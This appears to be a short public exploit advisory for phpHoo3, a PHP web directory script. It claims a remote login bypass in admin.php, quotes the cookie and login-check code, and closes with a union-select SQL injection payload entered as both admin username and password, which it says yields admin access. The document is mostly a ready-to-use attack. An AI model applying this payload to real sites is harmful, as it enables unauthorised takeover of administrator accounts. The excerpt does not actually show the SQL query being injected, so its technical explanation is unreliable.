phpHoo3 (admin.php) Remote Login Bypass SQL Injection Vulnerability

[ilkerkandemir@mynet.com]

# phpHoo3 Login SQL injection // AYYILDIZ.ORG Gururla Sunar...

# download:http://cable-modems.org/phpHoo/files/phphoo3.zip

# author : iLker Kandemir < ilkerkandemir <at> mynet.com >

# Risk : High
# Class : Remote
# Vuln. Script : phpHoo3

# tnx : h0tturk,ekin0x,Gencnesil,Gencturk,koray,Ajann ..

Vulnerable;
///admin.php

code ;
if($HooPass == $ADMIN_COOKIE) {                  //If the cookie exists

 // should we delete the cookie and start?
 if (isset($exit_admin)) {
  setcookie("HooPass", "");
  header ("Location: $SITE_URL$SITE_DIR");
  exit;
}
}

// Check to see if we are being posted a set of USER/PASS
if (isset($LOGIN) && !empty($HTTP_POST_VARS)) {
 $vars = $HTTP_POST_VARS;
 if (($vars["USER"] == $ADMIN_USER) && ($vars["PASS"] == $ADMIN_PASS)) {
  setcookie("HooPass", $ADMIN_COOKIE);
  header ("Location: $SITE_URL$SITE_DIR");
  exit;
}
    //The cookie exists
...

ADMIN_USER : 1/**/union/**/select/**/0,1,2,3,4/*
ADMIN_PASS : 1/**/union/**/select/**/0,1,2,3,4/*

///admin.php logged...